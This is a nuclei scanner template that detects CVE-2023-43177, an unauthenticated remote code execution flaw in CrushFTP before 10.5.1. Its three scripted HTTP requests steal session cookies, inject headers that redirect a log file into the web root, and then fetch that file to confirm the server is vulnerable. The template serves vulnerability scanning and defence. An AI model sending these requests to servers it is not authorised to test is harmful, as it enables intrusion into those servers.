nuclei-templates/http/cves/2023/CVE-2023-43177.yaml

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id: CVE-2023-43177
info:
name: CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-43177
- https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/
- https://blog.projectdiscovery.io/crushftp-rce/
- https://github.com/the-emmons/CVE-Disclosures/blob/main/Pending/CrushFTP-2023-1.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-43177
cwe-id: CWE-913
epss-score: 0.00106
epss-percentile: 0.42667
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: crushftp
product: crushftp
tags: cve,cve2023,crushftp,unauth,rce,intrusive
flow: http(1) && http(2) && http(3)
variables:
dirname: "{{randbase(5)}}"
filename: "{{randbase(5)}}"
http:
- method: GET
path:
- "{{BaseURL}}/WebInterface"
matchers:
- type: dsl
2024-01-10 14:07:36 +00:00
internal: true
dsl:
- contains_all(to_lower(header), "currentauth", "crushauth")
- method: POST
path:
- "{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}"
headers:
Cookie: "CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}"
as2-to: X
user_name: crushadmin{{dirname}}
user_log_path: "./WebInterface/{{dirname}}/"
user_log_file: "{{filename}}"
Content-Type: application/x-www-form-urlencoded
body: |
post=body
matchers:
- type: regex
regex:
- "crushadmin"
- method: GET
path:
- "{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}"
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "crushadmin{{dirname}}")
condition: and
# digest: 4a0a004730450221009b4581b4013ca23f2c2021d0434b772242fd85e1462feba94746a596cc9602e702202934c7ebfccdc26b99171d44b3c8d711fe33a308ca4b93b4c6c86477af971df1:922c64590222798bb761d5b6d8e72950